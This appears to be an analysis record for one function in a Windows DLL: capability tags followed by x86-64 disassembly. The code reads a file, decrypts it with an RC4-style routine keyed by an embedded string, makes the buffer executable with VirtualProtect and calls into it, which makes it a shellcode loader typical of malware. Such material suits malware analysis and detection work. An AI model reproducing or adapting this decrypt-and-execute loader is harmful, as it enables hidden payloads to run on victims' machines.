Function at 0x180001ca0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file via mapping

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x260
mov rax, qword [0x180022008]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edi, edi
lea rcx, [0x180023c50]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
mov dword [rsp + 0x40], edi
lea r8d, [rdi + 3]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x28], rdi
lea r8d, [rdi + 4]
mov rcx, rax
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rsi, rax
test rax, rax
je 0x180001f1b
xor edx, edx
mov qword [rsp + 0x270], rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rbx
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
lea edx, [rdi + 4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rsi, rax
lea ebx, [rbp + 0x64]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
lea edx, [rdi + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r8d, [rbp + 1]
mov rdx, rsi
mov rcx, rax
mov qword [0x180023c40], rax
mov rbx, rax
call fcn.180004790
mov r8d, edi
lea r11, str._7__UU85GV__E_Y_B_3_EA2S_N9_1E0PJ_GW_._L6E____DCU58YC__D_IC5___PY.2__WJN_D:0YLN_:1IEZF_.
mov r9d, edi
mov r10d, edi
nop dword [rax + rax]
mov eax, 0x51eb851f
mov byte [rsp + r10 + 0x50], r9b
imul r9d
mov ecx, r9d
lea r10, [r10 + 1]
sar edx, 5
inc r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x64
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
mov byte [rsp + r10 + 0x14f], al
cmp r9d, 0x100
jl 0x180001da0
mov rdx, rdi
movzx eax, byte [rsp + rdx + 0x150]
movzx r9d, byte [rsp + rdx + 0x50]
add r8d, eax
add r8d, r9d
and r8d, 0x800000ff
jge 0x180001e0c
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
movzx ecx, byte [rsp + rax + 0x50]
mov byte [rsp + rax + 0x50], r9b
mov byte [rsp + rdx + 0x50], cl
inc rdx
cmp rdx, 0x100
jl 0x180001de2
mov r8d, edi
test ebp, ebp
jle 0x180001eac
mov r11, rsi
mov r10, rbp
sub r11, rbx
nop dword [rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x180001e53
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea rcx, [rsp + 0x50]
movzx r9d, byte [rcx + rdi]
add r8d, r9d
and r8d, 0x800000ff
jge 0x180001e79
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rdx, [rsp + 0x50]
add rdx, rax
movzx eax, byte [rdx]
mov byte [rdx], r9b
mov byte [rcx + rdi], al
mov ecx, eax
movzx eax, byte [rdx]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x50]
xor cl, byte [r11 + rbx]
mov byte [rbx], cl
inc rbx
sub r10, 1
jne 0x180001e40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180023c40]
lea edx, [rbp + 0x32]
lea r9, [rsp + 0x40]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [0x180023c40]
mov rcx, qword [0x180023c48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbp, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1800029c0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
xor ecx, ecx
call fcn.180004e14
int3